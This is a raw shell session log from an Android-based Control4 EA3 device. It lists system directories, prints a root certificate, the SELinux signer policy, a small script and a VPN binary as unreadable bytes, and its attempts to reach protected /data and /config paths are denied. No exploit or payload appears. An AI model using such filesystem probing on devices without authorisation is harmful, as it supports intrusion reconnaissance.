AQQEAwIABzAfBgNVHSMEGDAWgBRl8jGtKvf33VKWCscCwQ7vptU7ETAPBgNVHRMB
Af8EBTADAQH/MAsGA1UdDwQEAwIB/jAdBgNVHQ4EFgQUZfIxrSr3991SlgrHAsEO
76bVOxEwDQYJKoZIhvcNAQEFBQADggEBAEs17szkrr/Dbq2flTtLP1se31cpolnK
OOK5Gv+e5m4y3R6u6jW39ZORTtpC4cMXYFDy0VwmuYK36m3knITnA3kXr5g9lNvH
ugDnuL8BV8F3RTIMO/G0HAiw/VGgod2aHRM2mm23xzy54cXZF/qD1T0VoDy7Hgvi
yJA/qIYM/PmLXoXLT1tLYhFHxUV8BS9BsZ4QaRuZluBVeftOhpm4lNqGOGqTo+fL
buXf6iFViZx9fX+Y9QCJ7uOEwFyWtcVG6kbghVW2G8kS1sHNzYDzAgE8yGnLRUhj
2JTQ7IUOO04RZfSCjKY9ri4ilAnIXOo8gV0WKgOXFlUJ24pBgp5mmxE=
-----END CERTIFICATE-----
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1228079105 (0x49330001)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=CN, O=CNNIC, CN=CNNIC ROOT
Validity
Not Before: Apr 16 07:09:14 2007 GMT
Not After : Apr 16 07:09:14 2027 GMT
Subject: C=CN, O=CNNIC, CN=CNNIC ROOT
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:d3:35:f7:3f:73:77:ad:e8:5b:73:17:c2:d1:6f:
ed:55:bc:6e:ea:e8:a4:79:b2:6c:c3:a3:ef:e1:9f:
b1:3b:48:85:f5:9a:5c:21:22:10:2c:c5:82:ce:da:
e3:9a:6e:37:e1:87:2c:dc:b9:0c:5a:ba:88:55:df:
fd:aa:db:1f:31:ea:01:f1:df:39:01:c1:13:fd:48:
52:21:c4:55:df:da:d8:b3:54:76:ba:74:b1:b7:7d:
d7:c0:e8:f6:59:c5:4d:c8:bd:ad:1f:14:da:df:58:
44:25:32:19:2a:c7:7e:7e:8e:ae:38:b0:30:7b:47:
72:09:31:f0:30:db:c3:1b:76:29:bb:69:76:4e:57:
f9:1b:64:a2:93:56:b7:6f:99:6e:db:0a:04:9c:11:
e3:80:1f:cb:63:94:10:0a:a9:e1:64:82:31:f9:8c:
27:ed:a6:99:00:f6:70:93:18:f8:a1:34:86:a3:dd:
7a:c2:18:79:f6:7a:65:35:cf:90:eb:bd:33:93:9f:
53:ab:73:3b:e6:9b:34:20:2f:1d:ef:a9:1d:63:1a:
a0:80:db:03:2f:f9:26:1a:86:d2:8d:bb:a9:be:52:
3a:87:67:48:0d:bf:b4:a0:d8:26:be:23:5f:73:37:
7f:26:e6:92:04:a3:7f:cf:20:a7:b7:f3:3a:ca:cb:
99:cb
Exponent: 65537 (0x10001)
X509v3 extensions:
Netscape Cert Type:
SSL CA, S/MIME CA, Object Signing CA
X509v3 Authority Key Identifier:
keyid:65:F2:31:AD:2A:F7:F7:DD:52:96:0A:C7:02:C1:0E:EF:A6:D5:3B:11
X509v3 Basic Constraints: critical
CA:TRUE
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment, Key Agreement, Certificate Sign, CRL Sign
X509v3 Subject Key Identifier:
65:F2:31:AD:2A:F7:F7:DD:52:96:0A:C7:02:C1:0E:EF:A6:D5:3B:11
Signature Algorithm: sha1WithRSAEncryption
4b:35:ee:cc:e4:ae:bf:c3:6e:ad:9f:95:3b:4b:3f:5b:1e:df:
57:29:a2:59:ca:38:e2:b9:1a:ff:9e:e6:6e:32:dd:1e:ae:ea:
35:b7:f5:93:91:4e:da:42:e1:c3:17:60:50:f2:d1:5c:26:b9:
82:b7:ea:6d:e4:9c:84:e7:03:79:17:af:98:3d:94:db:c7:ba:
00:e7:b8:bf:01:57:c1:77:45:32:0c:3b:f1:b4:1c:08:b0:fd:
51:a0:a1:dd:9a:1d:13:36:9a:6d:b7:c7:3c:b9:e1:c5:d9:17:
fa:83:d5:3d:15:a0:3c:bb:1e:0b:e2:c8:90:3f:a8:86:0c:fc:
f9:8b:5e:85:cb:4f:5b:4b:62:11:47:c5:45:7c:05:2f:41:b1:
9e:10:69:1b:99:96:e0:55:79:fb:4e:86:99:b8:94:da:86:38:
6a:93:a3:e7:cb:6e:e5:df:ea:21:55:89:9c:7d:7d:7f:98:f5:
00:89:ee:e3:84:c0:5c:96:b5:c5:46:ea:46:e0:85:55:b6:1b:
c9:12:d6:c1:cd:cd:80:f3:02:01:3c:c8:69:cb:45:48:63:d8:
94:d0:ec:85:0e:3b:4e:11:65:f4:82:8c:a6:3d:ae:2e:22:94:
09:c8:5c:ea:3c:81:5d:16:2a:03:97:16:55:09:db:8a:41:82:
9e:66:9b:11
SHA1 Fingerprint=8B:AF:4C:9B:1D:F0:2A:92:F7:DA:12:8E:B9:1B:AC:F4:98:60:4B:6F
shell@EA3:/etc/security/cacerts $ ls
00673b5b.0
02b73561.0
052e396b.0
08aef7bb.0
0d188d89.0
10531352.0
111e6273.0
119afc2e.0
124bbd54.0
12d55845.0
1676090a.0
17b51fe6.0
1dac3003.0
1dbdda5b.0
1dcd6f4c.0
1df5a75f.0
1e1eab7c.0
1e8e7201.0
1eb37bdf.0
21855f49.0
219d9499.0
23f4c490.0
27af790d.0
2afc57aa.0
2d9dafe4.0
2e8714cb.0
2fa87019.0
2fb1850a.0
33815e15.0
33815e15.1
343eb6cb.0
399e7759.0
3a3b02ce.0
3ad48a91.0
3c58f906.0
3c860d51.0
3c9a4d3b.0
3d441de8.0
3e7271e8.0
40dc992e.0
418595b9.0
450c6e38.0
455f1b52.0
48478734.0
48a195d8.0
4d654d1d.0
4e18c148.0
4fbd6bfa.0
5021a0a2.0
5046c355.0
524d9b43.0
56b8a0b6.0
57692373.0
58a44af1.0
594f1775.0
5a3f0ff8.0
5a5372fc.0
5cf9d536.0
5e4e69e7.0
5f47b495.0
60afe812.0
635ccfd5.0
63a2c897.0
67495436.0
69105f4f.0
6adf0799.0
6e8bf996.0
6fcc125d.0
72f369af.0
72fa7371.0
74c26bd0.0
75680d2e.0
7651b327.0
76579174.0
7672ac4b.0
7999be0d.0
7a481e66.0
7a819ef2.0
7d3cd826.0
7d453d8f.0
81b9768f.0
82223c44.0
8470719d.0
84cba82f.0
85cde254.0
86212b19.0
87753b0d.0
882de061.0
895cad1a.0
89c02a45.0
91739615.0
9339512a.0
9576d26b.0
95aff9e3.0
9685a493.0
9772ca32.0
9ab62355.0
9d6523ce.0
9dbefe7b.0
9f533518.0
a0bc6fbb.0
a2df7ad7.0
a3896b44.0
a7605362.0
a7d2cf64.0
ab5346f4.0
add67345.0
aeb67534.0
b0ed035a.0
b0f3e76e.0
b3fb433b.0
b7db1890.0
b872f2b4.0
bc3f2570.0
bcdd5959.0
bda4cc84.0
bdacca6f.0
bf64f35b.0
c33a80d4.0
c3a6a9ad.0
c51c224c.0
c527e4ab.0
c7e2a638.0
c8763593.0
cb156124.0
ccc52f49.0
cdaebb72.0
cf701eeb.0
d16a5865.0
d537fba6.0
d59297b8.0
d64f06f3.0
d66b55d9.0
d7746a63.0
dbc54cab.0
ddc328ff.0
e268a4c5.0
e48193cf.0
e60bf0c0.0
e775ed2d.0
e7b8d656.0
e8651083.0
ea169617.0
eb375c3e.0
ed524cf5.0
ee7cd6fb.0
ee90b008.0
f4996e82.0
f58a60fe.0
f61bff45.0
f80cc7f6.0
fac084d7.0
facacbc6.0
fb126c6d.0
fde84897.0
ff783690.0
shell@EA3:/etc/security/cacerts $ cd ..
shell@EA3:/etc/security $ ls
cacerts
mac_permissions.xml
otacerts.zip
shell@EA3:/etc/security $ cat mac_permissions.xml
<?xml version="1.0" encoding="iso-8859-1"?><!-- AUTOGENERATED FILE DO NOT MODIFY --><policy><signer signature="308203f5308202dda003020102020900aeeffb252a0fdcfd300d06092a864886f70d0101050500308190310b3009060355040613025553310d300b06035504080c04557461683117301506035504070c0e53616c74204c616b6520436974793110300e060355040a0c07416e64726f69643110300e060355040b0c07416e64726f69643110300e06035504030c07416e64726f69643123302106092a864886f70d0109011614616e64726f696440636f6e74726f6c342e636f6d301e170d3134313030323137333732395a170d3432303231373137333732395a308190310b3009060355040613025553310d300b06035504080c04557461683117301506035504070c0e53616c74204c616b6520436974793110300e060355040a0c07416e64726f69643110300e060355040b0c07416e64726f69643110300e06035504030c07416e64726f69643123302106092a864886f70d0109011614616e64726f696440636f6e74726f6c342e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100a5a9bee8865d403f15e860e89f6cc816809eb7cdb691c8571ab5fb940c8fd7aae40438455123e19c6843ad29783b7be9de7037cbb72929bca3b9b64205e89f024569c80d43bf81fe07be1cc49bea1015ed71259bac96d174b4b42a04d2640786296197ebfdc34af0f25443c9f3997aec4e472681e829ed4dc158f89c221bd11a446a885a665b63db4dafffb66662e6e37c14210958208773dbaf5d719eb45c6dd77522ecca541ad69b343bfac3452d45df5d9e2fa5a7986ff480a8a82ca8821a333b579eb7813562170d0f91ec5fb2176d6da8789fd5d57c256e9bff40749c7785ec32df0a1ed2a3d5f082dd2e63fcfd6f7e9070a3768229b1d312db87cdfff50203010001a350304e301d0603551d0e0416041481d3522912b28502620dc94dc0bfc91f3a7b392f301f0603551d2304183016801481d3522912b28502620dc94dc0bfc91f3a7b392f300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100049f6d9e1461b1145a8e3d9a4bdba3c2be9d5bf212b7b28bce6ad18308141a851905158ecfed8e82e266d06532f9fc634ffbbeb1dc1ae76339a09d6c81c9944ff46e5f3d4d4259d475dabb961068d9551637212776a00b7f4556a78fb88aad23fcaa622c5e67237b54be5e72227a7c0639bd59c9e42bda39f7a17373e2d22eb32e69f973a40b465f222907f720f55d926c8f27b3d4e747a94173b653f9cdb5437a5c74146af47c12376469b6c3a23f3faa168dfa3a2061a0a4bc78e6bed135da3eaf3c3cf14f74da1cde04b76bc3f1ef4ac89a51ab8676e4e7cec8ea54fd8409107bf6a24531bd84a27cabf2467680acd5a7c67441fcc4f6bad1dbc99dde080c"><seinfo value="platform"/></signer><default><seinfo value="default"/></default></policy>shell@EA3:/etc/security $
shell@EA3:/etc/security $
shell@EA3:/etc/security $ cd ..
shell@EA3:/etc $ ls
Control4OpenSourceSoftwareNoticeAndroid.htm.gz
NOTICE.html.gz
audio.intelce.xml
audio_effects.conf
audio_policy.conf
bluetooth
clatd.conf
cleaninput.sh
dhcpcd
event-log-tags
fallback_fonts.xml
hosts
media_codecs.xml
media_profiles.xml
mkshrc
permissions
ppp
security
setupdns.sh
system_fonts.xml
shell@EA3:/etc $ cd ppp
shell@EA3:/etc/ppp $ ls
ip-up-vpn
shell@EA3:/etc/ppp $ cd ip-up-vpn
/system/bin/sh: cd: /etc/ppp/ip-up-vpn: Not a directory
2|shell@EA3:/etc/ppp $ ls
ip-up-vpn
shell@EA3:/etc/ppp $ cd ip-up-vpn
/system/bin/sh: cd: /etc/ppp/ip-up-vpn: Not a directory
2|shell@EA3:/etc/ppp $ cat ip-up-vpn
ELF�
▒+3=OUipw}��������0���0���0��__libc_init__cxa_atexit__stack_chk_fail__errnoinet_pton__stack_chk_guardfopen__android_log_printgetenvsocketioctlstrerrorfprintffwritefputcfclosechmodrenamestrncpy_edata__bss_start_endlibc.solibcutils.soliblog.solibm.solibstdc++.so
�����/�/�/�/�/�/�/��/ �/
�/
�/
�/�/�/�/�/�/�����
h��������������h�������▒h▒�������h ������� h(�������$h0�������(h8�p�����,h@�`�����0hH�P�����4hP�@�����8hX�0�����<h`� �����@hh������Dhp������Hhx�������Lh��������Ph������U��WVS�6��Q)�����$@����E
�D$8����������$���w����D$��z����$�D$<��������������d��tD�������$�D�������D$��������������$��9����e�[^_]Í������$���������l�����D��D$$�������$�w�����DljD$ �������$�`������D�D$�$Dlj|$4�D$�G����D$0��D$h�8�D$,1����L$H�ωL$(����$fDŽ$���������T$4EЍD$l����t-�t$4�|$,�t$0��t&�|�D$
��4$�������t��t$4�o����8����M��$������D$
��������|$8�G�4$�D�������D$������G�4$�D�������D$������������t$
�D$
�D$�$������������$�#�������l����T$8DǍ������$�������T$8�|$
�4$DD�������D$�!����t$�$
�1����4$�9����D$<�D$$�$�5�����t=�l�����$������D$
�������D�$�������D$�n���������������D$�D$<�$�������u�������D$8f��$��P�D$|�<�����D$,�D$
��D�D$0�$�8�����t���u~�D$$�D�D$�D$(�$f�D$X������D$(�D$��D�D$0�$�������tr��$������D$�D$$�D$
�$��I����D�������D$�����������$������D$
��,���������1�����$������D$
������������D$X�T$ �D$8�G��t �D$(�D$��D�D$0�$�G�����t��$�I����D$
��`����r�����w����$���������l���EЋD$8����t$�D$(�D$��D�D$0�$����������D$$�������D�|$�4$������������$���������l����4$�L$8D��D$
�D$ �D�������D$������T$��m����:�|$E4$�D������������$�=�����DD$8�D�|$�4$�f����������$�▒�����DD$8�D�|$�4$�A����+�������$�����D$
�������F���U��S����d$������#�������D$�������D$�������D$▒�����D$�D$�D$
�������D�D$�D$�$�
���U���d$��t�����U��S�d$��K��f#��T�D��D$��y����$������d$[]�U��S�d$����-#������d$[]Ë$�W��V��S�������#�d$�f����������t�|$�$������d$[^_Í���'�t&��Android0.0.0.0/0wb/data/misc/vpn/.tmpCannot create state: %sip-up-vpn%s
%s/32
0.0.0.0/0
DNS2DNS1%s %s
INTERFACEINTERNAL_ADDR4SPLIT_INCLUDE_CIDRREMOTE_ADDRCannot remove host route: %sCannot create host route: %sCannot bring up %s: %sCannot set address: %sINTERNAL_NETMASK4Cannot set netmask: %sINTERNAL_CIDR4%s/%s
INTERNAL_DNS4_LISTDEFAULT_DOMAINCannot parse parametersCannot write state: %s/data/misc/vpn/statezR|
P�8!����B ▒����c�B
E�o�A��9�B
E�U�A� |*����B
�%���0� ���E�C
�C�O kA�
C���� AA�,�����r�B
�A�A�A�
A
$▒<���F
J
tx?▒;*2$"���▒�������H����������������������1������j���8�������\�������p����������������/��d���oH
�
������ x.�▒���ox.�.�.P�.6FVfv��������&6FGCC: (GNU) 4.8 GNUgold 1.11.shstrtab.interp.dynsym.dynstr.hash.rel.dyn.rel.plt.text.note.android.ident.rodata.eh_frame.eh_frame_hdr.preinit_array.init_array.fini_array.dynamic.got.got.plt.bss.comment.note.gnu.gold-version
44
�]��Lux.��.��.����/���/�T0 �0 � , �shell@EA3:/etc/ppp $ HHp�#���) dd2 ��6 0;PP�A
shell@EA3:/etc/ppp $ ls
ip-up-vpn
shell@EA3:/etc/ppp $ cd ..
shell@EA3:/etc $ ls
Control4OpenSourceSoftwareNoticeAndroid.htm.gz
NOTICE.html.gz
audio.intelce.xml
audio_effects.conf
audio_policy.conf
bluetooth
clatd.conf
cleaninput.sh
dhcpcd
event-log-tags
fallback_fonts.xml
hosts
media_codecs.xml
media_profiles.xml
mkshrc
permissions
ppp
security
setupdns.sh
system_fonts.xml
shell@EA3:/etc $ nano cl
clatd.conf cleaninput.sh
shell@EA3:/etc $ nano cl
clatd.conf cleaninput.sh
shell@EA3:/etc $ nano cleaninput.sh
/system/bin/sh: nano: not found
127|shell@EA3:/etc $ cat cl
clatd.conf cleaninput.sh
127|shell@EA3:/etc $ cat cleaninput.sh
#!/system/bin/sh
PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin
export PATH
log "Removing stale input devices ...."
rm -f /dev/input/*
log "... Stale done."
shell@EA3:/etc $ ls
Control4OpenSourceSoftwareNoticeAndroid.htm.gz
NOTICE.html.gz
audio.intelce.xml
audio_effects.conf
audio_policy.conf
bluetooth
clatd.conf
cleaninput.sh
dhcpcd
event-log-tags
fallback_fonts.xml
hosts
media_codecs.xml
media_profiles.xml
mkshrc
permissions
ppp
security
setupdns.sh
system_fonts.xml
shell@EA3:/etc $ cd hosts
/system/bin/sh: cd: /etc/hosts: Not a directory
2|shell@EA3:/etc $ ls
Control4OpenSourceSoftwareNoticeAndroid.htm.gz
NOTICE.html.gz
audio.intelce.xml
audio_effects.conf
audio_policy.conf
bluetooth
clatd.conf
cleaninput.sh
dhcpcd
event-log-tags
fallback_fonts.xml
hosts
media_codecs.xml
media_profiles.xml
mkshrc
permissions
ppp
security
setupdns.sh
system_fonts.xml
shell@EA3:/etc $ pwd
/etc
shell@EA3:/etc $ vf dhcpcd/
/system/bin/sh: vf: not found
127|shell@EA3:/etc $ ls
Control4OpenSourceSoftwareNoticeAndroid.htm.gz
NOTICE.html.gz
audio.intelce.xml
audio_effects.conf
audio_policy.conf
bluetooth
clatd.conf
cleaninput.sh
dhcpcd
event-log-tags
fallback_fonts.xml
hosts
media_codecs.xml
media_profiles.xml
mkshrc
permissions
ppp
security
setupdns.sh
system_fonts.xml
shell@EA3:/etc $ cd dhcpcd/
shell@EA3:/etc/dhcpcd $ ls
dhcpcd-hooks
dhcpcd-run-hooks
shell@EA3:/etc/dhcpcd $
shell@EA3:/etc/dhcpcd $ ls
dhcpcd-hooks
dhcpcd-run-hooks
shell@EA3:/etc/dhcpcd $ cd ..
shell@EA3:/etc $ ls
Control4OpenSourceSoftwareNoticeAndroid.htm.gz
NOTICE.html.gz
audio.intelce.xml
audio_effects.conf
audio_policy.conf
bluetooth
clatd.conf
cleaninput.sh
dhcpcd
event-log-tags
fallback_fonts.xml
hosts
media_codecs.xml
media_profiles.xml
mkshrc
permissions
ppp
security
setupdns.sh
system_fonts.xml
shell@EA3:/etc $ cd ..
shell@EA3:/ $ ls
acct
bin
cache
config
d
data
default.prop
dev
etc
file_contexts
init
init.control4.rc
init.environ.rc
init.intelce.rc
init.rc
init.rcn
init.trace.rc
init.usb.rc
init.zygote32.rc
mnt
proc
property_contexts
sbin
seapp_contexts
selinux_version
sepolicy
service_contexts
storage
sys
system
ueventd.rc
vendor
shell@EA3:/ $ cd storage/
shell@EA3:/storage $ ls
emulated
shell@EA3:/storage $ cd emulated/
shell@EA3:/storage/emulated $ ls
shell@EA3:/storage/emulated $ pwd
/storage/emulated
shell@EA3:/storage/emulated $ cd ..
shell@EA3:/storage $ cd ..
shell@EA3:/ $ ls
acct
bin
cache
config
d
data
default.prop
dev
etc
file_contexts
init
init.control4.rc
init.environ.rc
init.intelce.rc
init.rc
init.rcn
init.trace.rc
init.usb.rc
init.zygote32.rc
mnt
proc
property_contexts
sbin
seapp_contexts
selinux_version
sepolicy
service_contexts
storage
sys
system
ueventd.rc
vendor
shell@EA3:/ $ cd config/
/system/bin/sh: cd: /config: Permission denied
2|shell@EA3:/ $ cd config/
/system/bin/sh: cd: /config: Permission denied
2|shell@EA3:/ $ ls ./config/
opendir failed, Permission denied
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $ ls
acct
bin
cache
config
d
data
default.prop
dev
etc
file_contexts
init
init.control4.rc
init.environ.rc
init.intelce.rc
init.rc
init.rcn
init.trace.rc
init.usb.rc
init.zygote32.rc
mnt
proc
property_contexts
sbin
seapp_contexts
selinux_version
sepolicy
service_contexts
storage
sys
system
ueventd.rc
vendor
shell@EA3:/ $ cd etc/
shell@EA3:/etc $ ls
Control4OpenSourceSoftwareNoticeAndroid.htm.gz
NOTICE.html.gz
audio.intelce.xml
audio_effects.conf
audio_policy.conf
bluetooth
clatd.conf
cleaninput.sh
dhcpcd
event-log-tags
fallback_fonts.xml
hosts
media_codecs.xml
media_profiles.xml
mkshrc
permissions
ppp
security
setupdns.sh
system_fonts.xml
shell@EA3:/etc $ cd security/
shell@EA3:/etc/security $ ls
cacerts
mac_permissions.xml
otacerts.zip
shell@EA3:/etc/security $ cd cacerts/
shell@EA3:/etc/security/cacerts $ ls
00673b5b.0
02b73561.0
052e396b.0
08aef7bb.0
0d188d89.0
10531352.0
111e6273.0
119afc2e.0
124bbd54.0
12d55845.0
1676090a.0
17b51fe6.0
1dac3003.0
1dbdda5b.0
1dcd6f4c.0
1df5a75f.0
1e1eab7c.0
1e8e7201.0
1eb37bdf.0
21855f49.0
219d9499.0
23f4c490.0
27af790d.0
2afc57aa.0
2d9dafe4.0
2e8714cb.0
2fa87019.0
2fb1850a.0
33815e15.0
33815e15.1
343eb6cb.0
399e7759.0
3a3b02ce.0
3ad48a91.0
3c58f906.0
3c860d51.0
3c9a4d3b.0
3d441de8.0
3e7271e8.0
40dc992e.0
418595b9.0
450c6e38.0
455f1b52.0
48478734.0
48a195d8.0
4d654d1d.0
4e18c148.0
4fbd6bfa.0
5021a0a2.0
5046c355.0
524d9b43.0
56b8a0b6.0
57692373.0
58a44af1.0
594f1775.0
5a3f0ff8.0
5a5372fc.0
5cf9d536.0
5e4e69e7.0
5f47b495.0
60afe812.0
635ccfd5.0
63a2c897.0
67495436.0
69105f4f.0
6adf0799.0
6e8bf996.0
6fcc125d.0
72f369af.0
72fa7371.0
74c26bd0.0
75680d2e.0
7651b327.0
76579174.0
7672ac4b.0
7999be0d.0
7a481e66.0
7a819ef2.0
7d3cd826.0
7d453d8f.0
81b9768f.0
82223c44.0
8470719d.0
84cba82f.0
85cde254.0
86212b19.0
87753b0d.0
882de061.0
895cad1a.0
89c02a45.0
91739615.0
9339512a.0
9576d26b.0
95aff9e3.0
9685a493.0
9772ca32.0
9ab62355.0
9d6523ce.0
9dbefe7b.0
9f533518.0
a0bc6fbb.0
a2df7ad7.0
a3896b44.0
a7605362.0
a7d2cf64.0
ab5346f4.0
add67345.0
aeb67534.0
b0ed035a.0
b0f3e76e.0
b3fb433b.0
b7db1890.0
b872f2b4.0
bc3f2570.0
bcdd5959.0
bda4cc84.0
bdacca6f.0
bf64f35b.0
c33a80d4.0
c3a6a9ad.0
c51c224c.0
c527e4ab.0
c7e2a638.0
c8763593.0
cb156124.0
ccc52f49.0
cdaebb72.0
cf701eeb.0
d16a5865.0
d537fba6.0
d59297b8.0
d64f06f3.0
d66b55d9.0
d7746a63.0
dbc54cab.0
ddc328ff.0
e268a4c5.0
e48193cf.0
e60bf0c0.0
e775ed2d.0
e7b8d656.0
e8651083.0
ea169617.0
eb375c3e.0
ed524cf5.0
ee7cd6fb.0
ee90b008.0
f4996e82.0
f58a60fe.0
f61bff45.0
f80cc7f6.0
fac084d7.0
facacbc6.0
fb126c6d.0
fde84897.0
ff783690.0
shell@EA3:/etc/security/cacerts $ mget all
/system/bin/sh: mget: not found
127|shell@EA3:/etc/security/cacerts $ get
/system/bin/sh: get: not found
127|shell@EA3:/etc/security/cacerts $ help
/system/bin/sh: help: not found
127|shell@EA3:/etc/security/cacerts $ man
BusyBox v2.10.6.561784-res.21.0 (2019-04-26 19:08:17 MDT) multi-call binary.
Usage: man [-aw] [MANPAGE]...
Format and display manual page
-a Display all pages
-w Show page locations
1|shell@EA3:/etc/security/cacerts $ cd ..
shell@EA3:/etc/security $ cd ..
shell@EA3:/etc $ cd ..
shell@EA3:/ $ ls -la /data/
opendir failed, Permission denied
1|shell@EA3:/ $ # Особенно интересны:
1|shell@EA3:/ $ ls -la /data/misc/
opendir failed, Permission denied
1|shell@EA3:/ $ ls -la /data/local/tmp/
shell@EA3:/ $ ls -la /data/composer/ # Control4 Composer
/data/composer/: No such file or directory
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $ find / -name "composer" -type d 2>/dev/null
ame "index.html" -o -name "index.php" 2>/dev/null | grep -i composer <
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $
1|shell@EA3:/ $ find / -name "composer" -type d 2>/dev/null
1|shell@EA3:/ $ find
.
./init.rc
./file_contexts
./init.usb.rc
./init.trace.rc
./config
find: ./config: Permission denied
./cache
find: ./cache: Permission denied
./property_contexts
./init.environ.rc
./vendor
./init
./data
find: ./data: Permission denied
./bin
./bin/sh
./mnt
./mnt/obb
./mnt/media_rw
find: ./mnt/media_rw: Permission denied
./mnt/asec
./mnt/shell
./mnt/shell/emulated
./mnt/shell/emulated/0
find: ./mnt/shell/emulated/0: Permission denied
./mnt/shell/emulated/legacy
find: ./mnt/shell/emulated/legacy: Permission denied
./mnt/secure
find: ./mnt/secure: Permission denied
./init.control4.rc
./proc
./proc/pvr
./proc/pvr/lockup_count
./proc/pvr/nodes
./proc/pvr/version
./proc/gdl
./proc/gdl/dump
./proc/gdl/dump/wbp
./proc/gdl/dump/iap_x
./proc/gdl/dump/iap_b
./proc/gdl/dump/iap_a
./proc/gdl/dump/upp_e
./proc/gdl/dump/upp_d
./proc/gdl/dump/upp_c
./proc/gdl/dump/upp_b
./proc/gdl/dump/upp_a
./proc/gdl/portdrivers
./proc/gdl/planes
./proc/gdl/callbacks
./proc/gdl/clients
./proc/gdl/version
./proc/gdl/driver_info
./proc/gdl/threads
./proc/gdl/memory
./proc/icepm
./proc/icepm/state
./proc/icepm/eventmap
./proc/icepm/devicecheck
./proc/icepm/trace
./proc/sven
./proc/thermal
./proc/irqproxy
./proc/platform_config
./proc/osai_irqproxy
./proc/flash_layout_table
./proc/socvidinfo
./proc/boardinfo
./proc/socinfo
./proc/mtd
./proc/sysrq-trigger
./proc/partitions
./proc/diskstats
./proc/crypto
./proc/key-users
./proc/kpageflags
./proc/kpagecount
./proc/kmsg
./proc/kcore
./proc/softirqs
./proc/version
./proc/uptime
./proc/stat
./proc/meminfo
./proc/loadavg
./proc/interrupts
./proc/devices
./proc/cpuinfo
./proc/consoles
./proc/cmdline
./proc/locks
./proc/filesystems
./proc/swaps
./proc/vmallocinfo
./proc/slabinfo
./proc/zoneinfo
./proc/vmstat
./proc/pagetypeinfo
./proc/buddyinfo
./proc/config.gz
./proc/kallsyms
./proc/modules
./proc/dma
./proc/timer_list
./proc/sched_debug
./proc/iomem
./proc/ioports
./proc/execdomains
./proc/c4board
./proc/c4board/type.binary
./proc/c4board/type
./proc/c4board/revision
./proc/c4board/name
./proc/hostinfo
./proc/asound
./proc/asound/ninjagosmdadau1
./proc/asound/card1
./proc/asound/card1/id
./proc/asound/card1/pcm0p
./proc/asound/card1/pcm0p/sub3
./proc/asound/card1/pcm0p/sub3/prealloc_max
./proc/asound/card1/pcm0p/sub3/prealloc
./proc/asound/card1/pcm0p/sub3/status
./proc/asound/card1/pcm0p/sub3/sw_params
./proc/asound/card1/pcm0p/sub3/hw_params
./proc/asound/card1/pcm0p/sub3/info
./proc/asound/card1/pcm0p/sub2
./proc/asound/card1/pcm0p/sub2/prealloc_max
./proc/asound/card1/pcm0p/sub2/prealloc
./proc/asound/card1/pcm0p/sub2/status
./proc/asound/card1/pcm0p/sub2/sw_params
./proc/asound/card1/pcm0p/sub2/hw_params
./proc/asound/card1/pcm0p/sub2/info
./proc/asound/card1/pcm0p/sub1
./proc/asound/card1/pcm0p/sub1/prealloc_max
./proc/asound/card1/pcm0p/sub1/prealloc
./proc/asound/card1/pcm0p/sub1/status
./proc/asound/card1/pcm0p/sub1/sw_params
./proc/asound/card1/pcm0p/sub1/hw_params
./proc/asound/card1/pcm0p/sub1/info
./proc/asound/card1/pcm0p/sub0
./proc/asound/card1/pcm0p/sub0/prealloc_max
./proc/asound/card1/pcm0p/sub0/prealloc
./proc/asound/card1/pcm0p/sub0/status
./proc/asound/card1/pcm0p/sub0/sw_params
./proc/asound/card1/pcm0p/sub0/hw_params
./proc/asound/card1/pcm0p/sub0/info
./proc/asound/card1/pcm0p/xrun_debug
./proc/asound/card1/pcm0p/info
./proc/asound/IntelCE353xx
./proc/asound/card0
./proc/asound/card0/id
./proc/asound/card0/pcm2p
./proc/asound/card0/pcm2p/sub3
./proc/asound/card0/pcm2p/sub3/status
./proc/asound/card0/pcm2p/sub3/sw_params
./proc/asound/card0/pcm2p/sub3/hw_params
./proc/asound/card0/pcm2p/sub3/info
./proc/asound/card0/pcm2p/sub2
./proc/asound/card0/pcm2p/sub2/status
./proc/asound/card0/pcm2p/sub2/sw_params
./proc/asound/card0/pcm2p/sub2/hw_params
./proc/asound/card0/pcm2p/sub2/info
./proc/asound/card0/pcm2p/sub1
./proc/asound/card0/pcm2p/sub1/status
./proc/asound/card0/pcm2p/sub1/sw_params
./proc/asound/card0/pcm2p/sub1/hw_params
./proc/asound/card0/pcm2p/sub1/info
./proc/asound/card0/pcm2p/sub0
./proc/asound/card0/pcm2p/sub0/status
./proc/asound/card0/pcm2p/sub0/sw_params
./proc/asound/card0/pcm2p/sub0/hw_params
./proc/asound/card0/pcm2p/sub0/info
./proc/asound/card0/pcm2p/xrun_debug
./proc/asound/card0/pcm2p/info
./proc/asound/card0/pcm1p
./proc/asound/card0/pcm1p/sub3
./proc/asound/card0/pcm1p/sub3/status
./proc/asound/card0/pcm1p/sub3/sw_params
./proc/asound/card0/pcm1p/sub3/hw_params
./proc/asound/card0/pcm1p/sub3/info
./proc/asound/card0/pcm1p/sub2
./proc/asound/card0/pcm1p/sub2/status
./proc/asound/card0/pcm1p/sub2/sw_params
./proc/asound/card0/pcm1p/sub2/hw_params
./proc/asound/card0/pcm1p/sub2/info
./proc/asound/card0/pcm1p/sub1
./proc/asound/card0/pcm1p/sub1/status
./proc/asound/card0/pcm1p/sub1/sw_params
./proc/asound/card0/pcm1p/sub1/hw_params
./proc/asound/card0/pcm1p/sub1/info
./proc/asound/card0/pcm1p/sub0
./proc/asound/card0/pcm1p/sub0/status
./proc/asound/card0/pcm1p/sub0/sw_params
./proc/asound/card0/pcm1p/sub0/hw_params
./proc/asound/card0/pcm1p/sub0/info
./proc/asound/card0/pcm1p/xrun_debug
./proc/asound/card0/pcm1p/info
./proc/asound/card0/pcm0p
./proc/asound/card0/pcm0p/sub3
./proc/asound/card0/pcm0p/sub3/status
./proc/asound/card0/pcm0p/sub3/sw_params
./proc/asound/card0/pcm0p/sub3/hw_params
